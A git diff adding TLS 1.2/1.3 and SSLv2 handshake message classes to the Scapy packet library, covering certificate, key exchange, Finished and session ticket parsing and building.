+        s.triggered_prcs_commit = True
+
+        if self.tls_session.tls13_early_secret is None:
+            # In case the connState was not pre-initialized, we could not
+            # compute the early secrets at the ClientHello, so we do it here.
+            self.tls_session.compute_tls13_early_secrets()
+        s.compute_tls13_handshake_secrets()
+
+
+###############################################################################
+### HelloRetryRequest                                                       ###
+###############################################################################
+
+class TLSHelloRetryRequest(_TLSHandshake):
+    name = "TLS 1.3 Handshake - Hello Retry Request"
+    fields_desc = [ ByteEnumField("msgtype", 6, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    _TLSVersionField("version", None, _tls_version),
+                    _ExtensionsLenField("extlen", None, length_of="ext"),
+                    _ExtensionsField("ext", None,
+                                     length_from=lambda pkt: pkt.msglen - 4) ]
+
+
+###############################################################################
+### EncryptedExtensions                                                     ###
+###############################################################################
+
+class TLSEncryptedExtensions(_TLSHandshake):
+    name = "TLS 1.3 Handshake - Encrypted Extensions"
+    fields_desc = [ ByteEnumField("msgtype", 8, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    _ExtensionsLenField("extlen", None, length_of="ext"),
+                    _ExtensionsField("ext", None,
+                                     length_from=lambda pkt: pkt.msglen - 2) ]
+
+
+###############################################################################
+### Certificate                                                             ###
+###############################################################################
+
+#XXX It might be appropriate to rewrite this mess with basic 3-byte FieldLenField.
+
+class _ASN1CertLenField(FieldLenField):
+    """
+    This is mostly a 3-byte FieldLenField.
+    """
+    def __init__(self, name, default, length_of=None, adjust=lambda pkt, x: x):
+        self.length_of = length_of
+        self.adjust = adjust
+        Field.__init__(self, name, default, fmt="!I")
+
+    def i2m(self, pkt, x):
+        if x is None:
+            if self.length_of is not None:
+                fld,fval = pkt.getfield_and_val(self.length_of)
+                f = fld.i2len(pkt, fval)
+                x = self.adjust(pkt, f)
+        return x
+
+    def addfield(self, pkt, s, val):
+        return s + struct.pack(self.fmt, self.i2m(pkt,val))[1:4]
+
+    def getfield(self, pkt, s):
+        return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00" + s[:3])[0])
+
+
+class _ASN1CertListField(StrLenField):
+    islist = 1
+    def i2len(self, pkt, i):
+        if i is None:
+            return 0
+        return len(self.i2m(pkt, i))
+
+    def getfield(self, pkt, s):
+        """
+        Extract Certs in a loop.
+        XXX We should provide safeguards when trying to parse a Cert.
+        """
+        l = None
+        if self.length_from is not None:
+            l = self.length_from(pkt)
+
+        lst = []
+        ret = b""
+        m = s
+        if l is not None:
+            m, ret = s[:l], s[l:]
+        while m:
+            clen = struct.unpack("!I", b'\x00' + m[:3])[0]
+            lst.append((clen, Cert(m[3:3 + clen])))
+            m = m[3 + clen:]
+        return m + ret, lst
+
+    def i2m(self, pkt, i):
+        def i2m_one(i):
+            if isinstance(i, str):
+                return i
+            if isinstance(i, Cert):
+                s = i.der
+                l = struct.pack("!I", len(s))[1:4]
+                return l + s
+
+            (l, s) = i
+            if isinstance(s, Cert):
+                s = s.der
+            return struct.pack("!I", l)[1:4] + s
+
+        if i is None:
+            return b""
+        if isinstance(i, str):
+            return i
+        if isinstance(i, Cert):
+            i = [i]
+        return b"".join(i2m_one(x) for x in i)
+
+    def any2i(self, pkt, x):
+        return x
+
+class _ASN1CertField(StrLenField):
+    def i2len(self, pkt, i):
+        if i is None:
+            return 0
+        return len(self.i2m(pkt, i))
+
+    def getfield(self, pkt, s):
+        l = None
+        if self.length_from is not None:
+            l = self.length_from(pkt)
+        ret = b""
+        m = s
+        if l is not None:
+            m, ret = s[:l], s[l:]
+        clen = struct.unpack("!I", b'\x00' + m[:3])[0]
+        len_cert = (clen, Cert(m[3:3 + clen]))
+        m = m[3 + clen:]
+        return m + ret, len_cert
+
+    def i2m(self, pkt, i):
+        def i2m_one(i):
+            if isinstance(i, str):
+                return i
+            if isinstance(i, Cert):
+                s = i.der
+                l = struct.pack("!I", len(s))[1:4]
+                return l + s
+
+            (l, s) = i
+            if isinstance(s, Cert):
+                s = s.der
+            return struct.pack("!I", l)[1:4] + s
+
+        if i is None:
+            return b""
+        return i2m_one(i)
+
+    def any2i(self, pkt, x):
+        return x
+
+
+class TLSCertificate(_TLSHandshake):
+    """
+    XXX We do not support RFC 5081, i.e. OpenPGP certificates.
+    """
+    name = "TLS Handshake - Certificate"
+    fields_desc = [ ByteEnumField("msgtype", 11, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    _ASN1CertLenField("certslen", None, length_of="certs"),
+                    _ASN1CertListField("certs", [],
+                                      length_from = lambda pkt: pkt.certslen) ]
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt:
+            tls_session = kargs.get("tls_session", None)
+            if tls_session and (tls_session.tls_version or 0) >= 0x0304:
+                return TLS13Certificate
+        return TLSCertificate
+
+    def post_dissection_tls_session_update(self, msg_str):
+        self.tls_session_update(msg_str)
+        connection_end = self.tls_session.connection_end
+        if connection_end == "client":
+            self.tls_session.server_certs = [x[1] for x in self.certs]
+        else:
+            self.tls_session.client_certs = [x[1] for x in self.certs]
+
+
+class _ASN1CertAndExt(_GenericTLSSessionInheritance):
+    name = "Certificate and Extensions"
+    fields_desc = [ _ASN1CertField("cert", ""),
+                    FieldLenField("extlen", None, length_of="ext"),
+                    _ExtensionsField("ext", [],
+                                     length_from=lambda pkt: pkt.extlen) ]
+    def extract_padding(self, s):
+        return b"", s
+
+class _ASN1CertAndExtListField(PacketListField):
+    def m2i(self, pkt, m):
+        return self.cls(m, tls_session=pkt.tls_session)
+
+class TLS13Certificate(_TLSHandshake):
+    name = "TLS 1.3 Handshake - Certificate"
+    fields_desc = [ ByteEnumField("msgtype", 11, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    FieldLenField("cert_req_ctxt_len", None, fmt="B",
+                                  length_of="cert_req_ctxt"),
+                    StrLenField("cert_req_ctxt", "",
+                                length_from=lambda pkt: pkt.cert_req_ctxt_len),
+                    _ASN1CertLenField("certslen", None, length_of="certs"),
+                    _ASN1CertAndExtListField("certs", [], _ASN1CertAndExt,
+                                      length_from=lambda pkt: pkt.certslen) ]
+
+    def post_dissection_tls_session_update(self, msg_str):
+        self.tls_session_update(msg_str)
+        connection_end = self.tls_session.connection_end
+        if connection_end == "client":
+            if self.certs:
+                sc = [x.cert[1] for x in self.certs]
+                self.tls_session.server_certs = sc
+        else:
+            if self.certs:
+                cc = [x.cert[1] for x in self.certs]
+                self.tls_session.client_certs = cc
+
+
+###############################################################################
+### ServerKeyExchange                                                       ###
+###############################################################################
+
+class TLSServerKeyExchange(_TLSHandshake):
+    name = "TLS Handshake - Server Key Exchange"
+    fields_desc = [ ByteEnumField("msgtype", 12, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    _TLSServerParamsField("params", None,
+                        length_from=lambda pkt: pkt.msglen),
+                    _TLSSignatureField("sig", None,
+                        length_from=lambda pkt: pkt.msglen - len(pkt.params)) ]
+
+    def build(self, *args, **kargs):
+        """
+        We overload build() method in order to provide a valid default value
+        for params based on TLS session if not provided. This cannot be done by
+        overriding i2m() because the method is called on a copy of the packet.
+
+        The 'params' field is built according to key_exchange.server_kx_msg_cls
+        which should have been set after receiving a cipher suite in a
+        previous ServerHello. Usual cases are:
+        - None: for RSA encryption or fixed FF/ECDH. This should never happen,
+          as no ServerKeyExchange should be generated in the first place.
+        - ServerDHParams: for ephemeral FFDH. In that case, the parameter to
+          server_kx_msg_cls does not matter.
+        - ServerECDH*Params: for ephemeral ECDH. There are actually three
+          classes, which are dispatched by _tls_server_ecdh_cls_guess on
+          the first byte retrieved. The default here is b"\03", which
+          corresponds to ServerECDHNamedCurveParams (implicit curves).
+
+        When the Server*DHParams are built via .fill_missing(), the session
+        server_kx_privkey will be updated accordingly.
+        """
+        fval = self.getfieldval("params")
+        if fval is None:
+            s = self.tls_session
+            if s.pwcs:
+                if s.pwcs.key_exchange.export:
+                    cls = ServerRSAParams(tls_session=s)
+                else:
+                    cls = s.pwcs.key_exchange.server_kx_msg_cls(b"\x03")
+                    cls = cls(tls_session=s)
+                try:
+                    cls.fill_missing()
+                except:
+                    pass
+            else:
+                cls = Raw()
+            self.params = cls
+
+        fval = self.getfieldval("sig")
+        if fval is None:
+            s = self.tls_session
+            if s.pwcs:
+                if not s.pwcs.key_exchange.anonymous:
+                    p = self.params
+                    if p is None:
+                        p = b""
+                    m = s.client_random + s.server_random + raw(p)
+                    cls = _TLSSignature(tls_session=s)
+                    cls._update_sig(m, s.server_key)
+                else:
+                    cls = Raw()
+            else:
+                cls = Raw()
+            self.sig = cls
+
+        return _TLSHandshake.build(self, *args, **kargs)
+
+    def post_dissection(self, pkt):
+        """
+        While previously dissecting Server*DHParams, the session
+        server_kx_pubkey should have been updated.
+
+        XXX Add a 'fixed_dh' OR condition to the 'anonymous' test.
+        """
+        s = self.tls_session
+        if s.prcs and s.prcs.key_exchange.no_ske:
+            pkt_info = pkt.firstlayer().summary()
+            log_runtime.info("TLS: useless ServerKeyExchange [%s]", pkt_info)
+        if (s.prcs and
+            not s.prcs.key_exchange.anonymous and
+            s.client_random and s.server_random and
+            s.server_certs and len(s.server_certs) > 0):
+            m = s.client_random + s.server_random + raw(self.params)
+            sig_test = self.sig._verify_sig(m, s.server_certs[0])
+            if not sig_test:
+                pkt_info = pkt.firstlayer().summary()
+                log_runtime.info("TLS: invalid ServerKeyExchange signature [%s]", pkt_info)
+
+
+###############################################################################
+### CertificateRequest                                                      ###
+###############################################################################
+
+_tls_client_certificate_types =  {  1: "rsa_sign",
+                                    2: "dss_sign",
+                                    3: "rsa_fixed_dh",
+                                    4: "dss_fixed_dh",
+                                    5: "rsa_ephemeral_dh_RESERVED",
+                                    6: "dss_ephemeral_dh_RESERVED",
+                                   20: "fortezza_dms_RESERVED",
+                                   64: "ecdsa_sign",
+                                   65: "rsa_fixed_ecdh",
+                                   66: "ecdsa_fixed_ecdh" }
+
+
+class _CertTypesField(_CipherSuitesField):
+    pass
+
+class _CertAuthoritiesField(StrLenField):
+    """
+    XXX Rework this with proper ASN.1 parsing.
+    """
+    islist = 1
+
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        return s[l:], self.m2i(pkt, s[:l])
+
+    def m2i(self, pkt, m):
+        res = []
+        while len(m) > 1:
+            l = struct.unpack("!H", m[:2])[0]
+            if len(m) < l + 2:
+                res.append((l, m[2:]))
+                break
+            dn = m[2:2+l]
+            res.append((l, dn))
+            m = m[2+l:]
+        return res
+
+    def i2m(self, pkt, i):
+        return b"".join(map(lambda x_y: struct.pack("!H", x_y[0]) + x_y[1], i))
+
+    def addfield(self, pkt, s, val):
+        return s + self.i2m(pkt, val)
+
+    def i2len(self, pkt, val):
+        if val is None:
+            return 0
+        else:
+            return len(self.i2m(pkt, val))
+
+
+class TLSCertificateRequest(_TLSHandshake):
+    name = "TLS Handshake - Certificate Request"
+    fields_desc = [ ByteEnumField("msgtype", 13, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    FieldLenField("ctypeslen", None, fmt="B",
+                                  length_of="ctypes"),
+                    _CertTypesField("ctypes", [1, 64],
+                                    _tls_client_certificate_types,
+                                    itemfmt="!B",
+                                    length_from=lambda pkt: pkt.ctypeslen),
+                    SigAndHashAlgsLenField("sig_algs_len", None,
+                                           length_of="sig_algs"),
+                    SigAndHashAlgsField("sig_algs", [0x0403, 0x0401, 0x0201],
+                                EnumField("hash_sig", None, _tls_hash_sig),
+                                length_from=lambda pkt: pkt.sig_algs_len),
+                    FieldLenField("certauthlen", None, fmt="!H",
+                                  length_of="certauth"),
+                    _CertAuthoritiesField("certauth", [],
+                                length_from=lambda pkt: pkt.certauthlen) ]
+
+
+###############################################################################
+### ServerHelloDone                                                         ###
+###############################################################################
+
+class TLSServerHelloDone(_TLSHandshake):
+    name = "TLS Handshake - Server Hello Done"
+    fields_desc = [ ByteEnumField("msgtype", 14, _tls_handshake_type),
+                    ThreeBytesField("msglen", None) ]
+
+
+###############################################################################
+### CertificateVerify                                                       ###
+###############################################################################
+
+class TLSCertificateVerify(_TLSHandshake):
+    name = "TLS Handshake - Certificate Verify"
+    fields_desc = [ ByteEnumField("msgtype", 15, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    _TLSSignatureField("sig", None,
+                                 length_from=lambda pkt: pkt.msglen) ]
+
+    def build(self, *args, **kargs):
+        sig = self.getfieldval("sig")
+        if sig is None:
+            s = self.tls_session
+            m = b"".join(s.handshake_messages)
+            if s.tls_version >= 0x0304:
+                if s.connection_end == "client":
+                    context_string = "TLS 1.3, client CertificateVerify"
+                elif s.connection_end == "server":
+                    context_string = "TLS 1.3, server CertificateVerify"
+                m = b"\x20"*64 + context_string + b"\x00" + s.wcs.hash.digest(m)
+            self.sig = _TLSSignature(tls_session=s)
+            if s.connection_end == "client":
+                self.sig._update_sig(m, s.client_key)
+            elif s.connection_end == "server":
+                # should be TLS 1.3 only
+                self.sig._update_sig(m, s.server_key)
+        return _TLSHandshake.build(self, *args, **kargs)
+
+    def post_dissection(self, pkt):
+        s = self.tls_session
+        m = b"".join(s.handshake_messages)
+        if s.tls_version >= 0x0304:
+            if s.connection_end == "client":
+                context_string = b"TLS 1.3, server CertificateVerify"
+            elif s.connection_end == "server":
+                context_string = b"TLS 1.3, client CertificateVerify"
+            m = b"\x20"*64 + context_string + b"\x00" + s.rcs.hash.digest(m)
+
+        if s.connection_end == "server":
+            if s.client_certs and len(s.client_certs) > 0:
+                sig_test = self.sig._verify_sig(m, s.client_certs[0])
+                if not sig_test:
+                    pkt_info = pkt.firstlayer().summary()
+                    log_runtime.info("TLS: invalid CertificateVerify signature [%s]", pkt_info)
+        elif s.connection_end == "client":
+            # should be TLS 1.3 only
+            if s.server_certs and len(s.server_certs) > 0:
+                sig_test = self.sig._verify_sig(m, s.server_certs[0])
+                if not sig_test:
+                    pkt_info = pkt.firstlayer().summary()
+                    log_runtime.info("TLS: invalid CertificateVerify signature [%s]", pkt_info)
+
+
+###############################################################################
+### ClientKeyExchange                                                       ###
+###############################################################################
+
+class _TLSCKExchKeysField(PacketField):
+    __slots__ = ["length_from"]
+    holds_packet = 1
+    def __init__(self, name, length_from=None, remain=0):
+        self.length_from = length_from
+        PacketField.__init__(self, name, None, None, remain=remain)
+
+    def m2i(self, pkt, m):
+        """
+        The client_kx_msg may be either None, EncryptedPreMasterSecret
+        (for RSA encryption key exchange), ClientDiffieHellmanPublic,
+        or ClientECDiffieHellmanPublic. When either one of them gets
+        dissected, the session context is updated accordingly.
+        """
+        l = self.length_from(pkt)
+        tbd, rem = m[:l], m[l:]
+
+        s = pkt.tls_session
+        cls = None
+
+        if s.prcs and s.prcs.key_exchange:
+            cls = s.prcs.key_exchange.client_kx_msg_cls
+
+        if cls is None:
+            return Raw(tbd)/Padding(rem)
+
+        return cls(tbd, tls_session=s)/Padding(rem)
+
+
+class TLSClientKeyExchange(_TLSHandshake):
+    """
+    This class mostly works like TLSServerKeyExchange and its 'params' field.
+    """
+    name = "TLS Handshake - Client Key Exchange"
+    fields_desc = [ ByteEnumField("msgtype", 16, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    _TLSCKExchKeysField("exchkeys",
+                                        length_from = lambda pkt: pkt.msglen) ]
+
+    def build(self, *args, **kargs):
+        fval = self.getfieldval("exchkeys")
+        if fval is None:
+            s = self.tls_session
+            if s.prcs:
+                cls = s.prcs.key_exchange.client_kx_msg_cls
+                cls = cls(tls_session=s)
+            else:
+                cls = Raw()
+            self.exchkeys = cls
+        return _TLSHandshake.build(self, *args, **kargs)
+
+
+###############################################################################
+### Finished                                                                ###
+###############################################################################
+
+class _VerifyDataField(StrLenField):
+    def getfield(self, pkt, s):
+        if pkt.tls_session.tls_version == 0x0300:
+            sep = 36
+        elif pkt.tls_session.tls_version >= 0x0304:
+            sep = pkt.tls_session.rcs.hash.hash_len
+        else:
+            sep = 12
+        return s[sep:], s[:sep]
+
+class TLSFinished(_TLSHandshake):
+    name = "TLS Handshake - Finished"
+    fields_desc = [ ByteEnumField("msgtype", 20, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    _VerifyDataField("vdata", None) ]
+
+    def build(self, *args, **kargs):
+        fval = self.getfieldval("vdata")
+        if fval is None:
+            s = self.tls_session
+            handshake_msg = b"".join(s.handshake_messages)
+            con_end = s.connection_end
+            if s.tls_version < 0x0304:
+                ms = s.master_secret
+                self.vdata = s.wcs.prf.compute_verify_data(con_end, "write",
+                                                           handshake_msg, ms)
+            else:
+                self.vdata = s.compute_tls13_verify_data(con_end, "write")
+        return _TLSHandshake.build(self, *args, **kargs)
+
+    def post_dissection(self, pkt):
+        s = self.tls_session
+        if not s.frozen:
+            handshake_msg = b"".join(s.handshake_messages)
+            if s.tls_version < 0x0304 and s.master_secret is not None:
+                ms = s.master_secret
+                con_end = s.connection_end
+                verify_data = s.rcs.prf.compute_verify_data(con_end, "read",
+                                                            handshake_msg, ms)
+                if self.vdata != verify_data:
+                    pkt_info = pkt.firstlayer().summary()
+                    log_runtime.info("TLS: invalid Finished received [%s]", pkt_info)
+            elif s.tls_version >= 0x0304:
+                con_end = s.connection_end
+                verify_data = s.compute_tls13_verify_data(con_end, "read")
+                if self.vdata != verify_data:
+                    pkt_info = pkt.firstlayer().summary()
+                    log_runtime.info("TLS: invalid Finished received [%s]", pkt_info)
+
+    def post_build_tls_session_update(self, msg_str):
+        self.tls_session_update(msg_str)
+        s = self.tls_session
+        if s.tls_version >= 0x0304:
+            s.pwcs = writeConnState(ciphersuite=type(s.wcs.ciphersuite),
+                                    connection_end=s.connection_end,
+                                    tls_version=s.tls_version)
+            s.triggered_pwcs_commit = True
+            if s.connection_end == "server":
+                s.compute_tls13_traffic_secrets()
+            elif s.connection_end == "client":
+                s.compute_tls13_traffic_secrets_end()
+                s.compute_tls13_resumption_secret()
+
+    def post_dissection_tls_session_update(self, msg_str):
+        self.tls_session_update(msg_str)
+        s = self.tls_session
+        if s.tls_version >= 0x0304:
+            s.prcs = readConnState(ciphersuite=type(s.rcs.ciphersuite),
+                                   connection_end=s.connection_end,
+                                   tls_version=s.tls_version)
+            s.triggered_prcs_commit = True
+            if s.connection_end == "client":
+                s.compute_tls13_traffic_secrets()
+            elif s.connection_end == "server":
+                s.compute_tls13_traffic_secrets_end()
+                s.compute_tls13_resumption_secret()
+
+
+## Additional handshake messages
+
+###############################################################################
+### HelloVerifyRequest                                                      ###
+###############################################################################
+
+class TLSHelloVerifyRequest(_TLSHandshake):
+    """
+    Defined for DTLS, see RFC 6347.
+    """
+    name = "TLS Handshake - Hello Verify Request"
+    fields_desc = [ ByteEnumField("msgtype", 21, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    FieldLenField("cookielen", None,
+                                  fmt="B", length_of="cookie"),
+                    StrLenField("cookie", "",
+                                length_from=lambda pkt: pkt.cookielen) ]
+
+
+###############################################################################
+### CertificateURL                                                          ###
+###############################################################################
+
+_tls_cert_chain_types = { 0: "individual_certs",
+                          1: "pkipath" }
+
+class URLAndOptionalHash(Packet):
+    name = "URLAndOptionHash structure for TLSCertificateURL"
+    fields_desc = [ FieldLenField("urllen", None, length_of="url"),
+                    StrLenField("url", "",
+                                length_from=lambda pkt: pkt.urllen),
+                    FieldLenField("hash_present", None,
+                                  fmt="B", length_of="hash",
+                                  adjust=lambda pkt,x: int(math.ceil(x/20.))),
+                    StrLenField("hash", "",
+                                length_from=lambda pkt: 20*pkt.hash_present) ]
+    def guess_payload_class(self, p):
+        return Padding
+
+class TLSCertificateURL(_TLSHandshake):
+    """
+    Defined in RFC 4366. PkiPath structure of section 8 is not implemented yet.
+    """
+    name = "TLS Handshake - Certificate URL"
+    fields_desc = [ ByteEnumField("msgtype", 21, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    ByteEnumField("certchaintype", None, _tls_cert_chain_types),
+                    FieldLenField("uahlen", None, length_of="uah"),
+                    PacketListField("uah", [], URLAndOptionalHash,
+                                    length_from=lambda pkt: pkt.uahlen) ]
+
+
+###############################################################################
+### CertificateStatus                                                       ###
+###############################################################################
+
+class ThreeBytesLenField(FieldLenField):
+    def __init__(self, name, default,  length_of=None, adjust=lambda pkt, x:x):
+        FieldLenField.__init__(self, name, default, length_of=length_of,
+                               fmt='!I', adjust=adjust)
+    def i2repr(self, pkt, x):
+        if x is None:
+            return 0
+        return repr(self.i2h(pkt,x))
+    def addfield(self, pkt, s, val):
+        return s+struct.pack(self.fmt, self.i2m(pkt,val))[1:4]
+    def getfield(self, pkt, s):
+        return  s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00"+s[:3])[0])
+
+_cert_status_cls  = { 1: OCSP_Response }
+
+class _StatusField(PacketField):
+    def m2i(self, pkt, m):
+        idtype = pkt.status_type
+        cls = self.cls
+        if idtype in _cert_status_cls:
+            cls = _cert_status_cls[idtype]
+        return cls(m)
+
+class TLSCertificateStatus(_TLSHandshake):
+    name = "TLS Handshake - Certificate Status"
+    fields_desc = [ ByteEnumField("msgtype", 22, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    ByteEnumField("status_type", 1, _cert_status_type),
+                    ThreeBytesLenField("responselen", None,
+                                       length_of="response"),
+                    _StatusField("response", None, Raw) ]
+
+
+###############################################################################
+### SupplementalData                                                        ###
+###############################################################################
+
+class SupDataEntry(Packet):
+    name = "Supplemental Data Entry - Generic"
+    fields_desc = [ ShortField("sdtype", None),
+                    FieldLenField("len", None, length_of="data"),
+                    StrLenField("data", "",
+                                length_from=lambda pkt:pkt.len) ]
+    def guess_payload_class(self, p):
+        return Padding
+
+class UserMappingData(Packet):
+    name = "User Mapping Data"
+    fields_desc = [ ByteField("version", None),
+                    FieldLenField("len", None, length_of="data"),
+                    StrLenField("data", "",
+                                length_from=lambda pkt: pkt.len)]
+    def guess_payload_class(self, p):
+        return Padding
+
+class SupDataEntryUM(Packet):
+    name = "Supplemental Data Entry - User Mapping"
+    fields_desc = [ ShortField("sdtype", None),
+                    FieldLenField("len", None, length_of="data",
+                                  adjust=lambda pkt, x: x+2),
+                    FieldLenField("dlen", None, length_of="data"),
+                    PacketListField("data", [], UserMappingData,
+                                    length_from=lambda pkt:pkt.dlen) ]
+    def guess_payload_class(self, p):
+        return Padding
+
+class TLSSupplementalData(_TLSHandshake):
+    name = "TLS Handshake - Supplemental Data"
+    fields_desc = [ ByteEnumField("msgtype", 23, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    ThreeBytesLenField("sdatalen", None, length_of="sdata"),
+                    PacketListField("sdata", [], SupDataEntry,
+                                    length_from=lambda pkt: pkt.sdatalen) ]
+
+
+###############################################################################
+### NewSessionTicket                                                        ###
+###############################################################################
+
+class TLSNewSessionTicket(_TLSHandshake):
+    """
+    XXX When knowing the right secret, we should be able to read the ticket.
+    """
+    name = "TLS Handshake - New Session Ticket"
+    fields_desc = [ ByteEnumField("msgtype", 4, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    IntField("lifetime", 0xffffffff),
+                    FieldLenField("ticketlen", None, length_of="ticket"),
+                    StrLenField("ticket", "",
+                                length_from=lambda pkt: pkt.ticketlen) ]
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        s = kargs.get("tls_session", None)
+        if s and s.tls_version >= 0x0304:
+            return TLS13NewSessionTicket
+        return TLSNewSessionTicket
+
+    def post_dissection_tls_session_update(self, msg_str):
+        self.tls_session_update(msg_str)
+        if self.tls_session.connection_end == "client":
+            self.tls_session.client_session_ticket = self.ticket
+
+
+class TLS13NewSessionTicket(_TLSHandshake):
+    """
+    Uncomment the TicketField line for parsing a RFC 5077 ticket.
+    """
+    name = "TLS Handshake - New Session Ticket"
+    fields_desc = [ ByteEnumField("msgtype", 4, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    IntField("ticket_lifetime", 0xffffffff),
+                    IntField("ticket_age_add", 0),
+                    FieldLenField("ticketlen", None, length_of="ticket"),
+                    #TicketField("ticket", "",
+                    StrLenField("ticket", "",
+                                length_from=lambda pkt: pkt.ticketlen),
+                    _ExtensionsLenField("extlen", None, length_of="ext"),
+                    _ExtensionsField("ext", None,
+                                 length_from=lambda pkt: (pkt.msglen -
+                                                          (pkt.ticketlen or 0) -
+                                                          12)) ]
+
+    def post_dissection_tls_session_update(self, msg_str):
+        self.tls_session_update(msg_str)
+        if self.tls_session.connection_end == "client":
+            self.tls_session.client_session_ticket = self.ticket
+
+
+###############################################################################
+### All handshake messages defined in this module                           ###
+###############################################################################
+
+_tls_handshake_cls = { 0: TLSHelloRequest,          1: TLSClientHello,
+                       2: TLSServerHello,           3: TLSHelloVerifyRequest,
+                       4: TLSNewSessionTicket,      6: TLSHelloRetryRequest,
+                       8: TLSEncryptedExtensions,   11: TLSCertificate,
+                       12: TLSServerKeyExchange,    13: TLSCertificateRequest,
+                       14: TLSServerHelloDone,      15: TLSCertificateVerify,
+                       16: TLSClientKeyExchange,    20: TLSFinished,
+                       21: TLSCertificateURL,       22: TLSCertificateStatus,
+                       23: TLSSupplementalData }
+
diff --git a/scapy/layers/tls/handshake_sslv2.py b/scapy/layers/tls/handshake_sslv2.py
new file mode 100644
index 0000000..546352a
--- /dev/null
+++ b/scapy/layers/tls/handshake_sslv2.py
@@ -0,0 +1,546 @@
+## This file is part of Scapy
+## Copyright (C) 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+SSLv2 handshake fields & logic.
+"""
+
+import math
+
+from scapy.error import log_runtime, warning
+from scapy.fields import *
+from scapy.packet import Packet, Raw, Padding
+from scapy.layers.tls.cert import Cert, PrivKey, PubKey
+from scapy.layers.tls.basefields import _tls_version, _TLSVersionField
+from scapy.layers.tls.handshake import _CipherSuitesField
+from scapy.layers.tls.keyexchange import _TLSSignatureField, _TLSSignature
+from scapy.layers.tls.session import (_GenericTLSSessionInheritance,
+                                      readConnState, writeConnState)
+from scapy.layers.tls.crypto.suites import (_tls_cipher_suites,
+                                            _tls_cipher_suites_cls,
+                                            _GenericCipherSuite,
+                                            _GenericCipherSuiteMetaclass,
+                                            get_usable_ciphersuites,
+                                            SSL_CK_DES_192_EDE3_CBC_WITH_MD5)
+
+
+###############################################################################
+### Generic SSLv2 Handshake message                                         ###
+###############################################################################
+
+_sslv2_handshake_type = { 0: "error",                1: "client_hello",
+                          2: "client_master_key",    3: "client_finished",
+                          4: "server_hello",         5: "server_verify",
+                          6: "server_finished",      7: "request_certificate",
+                          8: "client_certificate" }
+
+
+class _SSLv2Handshake(_GenericTLSSessionInheritance):
+    """
+    Inherited by other Handshake classes to get post_build().
+    Also used as a fallback for unknown TLS Handshake packets.
+    """
+    name = "SSLv2 Handshake Generic message"
+    fields_desc = [ ByteEnumField("msgtype", None, _sslv2_handshake_type) ]
+
+    def guess_payload_class(self, p):
+        return Padding
+
+    def tls_session_update(self, msg_str):
+        """
+        Covers both post_build- and post_dissection- context updates.
+        """
+        self.tls_session.handshake_messages.append(msg_str)
+        self.tls_session.handshake_messages_parsed.append(self)
+
+
+###############################################################################
+### Error                                                                   ###
+###############################################################################
+
+_tls_error_code = { 1: "no_cipher",         2: "no_certificate",
+                    4: "bad_certificate",   6: "unsupported_certificate_type" }
+
+class SSLv2Error(_SSLv2Handshake):
+    """
+    SSLv2 Error.
+    """
+    name = "SSLv2 Handshake - Error"
+    fields_desc = [ ByteEnumField("msgtype", 0, _sslv2_handshake_type),
+                    ShortEnumField("code", None, _tls_error_code) ]
+
+
+###############################################################################
+### ClientHello                                                             ###
+###############################################################################
+
+class _SSLv2CipherSuitesField(_CipherSuitesField):
+    def __init__(self, name, default, dico, length_from=None):
+        _CipherSuitesField.__init__(self, name, default, dico,
+                                    length_from=length_from)
+        self.itemfmt = b""
+        self.itemsize = 3
+
+    def i2m(self, pkt, val):
+        if val is None:
+            val2 = []
+        val2 = [(x >> 16, x & 0x00ffff) for x in val]
+        return b"".join([struct.pack(">BH", x[0], x[1]) for x in val2])
+
+    def m2i(self, pkt, m):
+        res = []
+        while m:
+            res.append(struct.unpack("!I", b"\x00" + m[:3])[0])
+            m = m[3:]
+        return res
+
+
+class SSLv2ClientHello(_SSLv2Handshake):
+    """
+    SSLv2 ClientHello.
+    """
+    name = "SSLv2 Handshake - Client Hello"
+    fields_desc = [ ByteEnumField("msgtype", 1, _sslv2_handshake_type),
+                    _TLSVersionField("version", 0x0002, _tls_version),
+
+                    FieldLenField("cipherslen", None, fmt="!H",
+                                  length_of="ciphers"),
+                    FieldLenField("sidlen", None, fmt="!H",
+                                  length_of="sid"),
+                    FieldLenField("challengelen", None, fmt="!H",
+                                  length_of="challenge"),
+
+                    XStrLenField("sid", b"",
+                                 length_from=lambda pkt:pkt.sidlen),
+                    _SSLv2CipherSuitesField("ciphers",
+                                      [SSL_CK_DES_192_EDE3_CBC_WITH_MD5],
+                                      _tls_cipher_suites,
+                                      length_from=lambda pkt: pkt.cipherslen),
+                    XStrLenField("challenge", b"",
+                                 length_from=lambda pkt:pkt.challengelen) ]
+
+    def tls_session_update(self, msg_str):
+        super(SSLv2ClientHello, self).tls_session_update(msg_str)
+        self.tls_session.advertised_tls_version = self.version
+        self.tls_session.sslv2_common_cs = self.ciphers
+        self.tls_session.sslv2_challenge = self.challenge
+
+
+###############################################################################
+### ServerHello                                                             ###
+###############################################################################
+
+class _SSLv2CertDataField(StrLenField):
+    def getfield(self, pkt, s):
+        l = 0
+        if self.length_from is not None:
+            l = self.length_from(pkt)
+        try:
+            certdata = Cert(s[:l])
+        except:
+            certdata = s[:l]
+        return s[l:], certdata
+
+    def i2len(self, pkt, i):
+        if isinstance(i, Cert):
+            return len(i.der)
+        return len(i)
+
+    def i2m(self, pkt, i):
+        if isinstance(i, Cert):
+            return i.der
+        return i
+
+
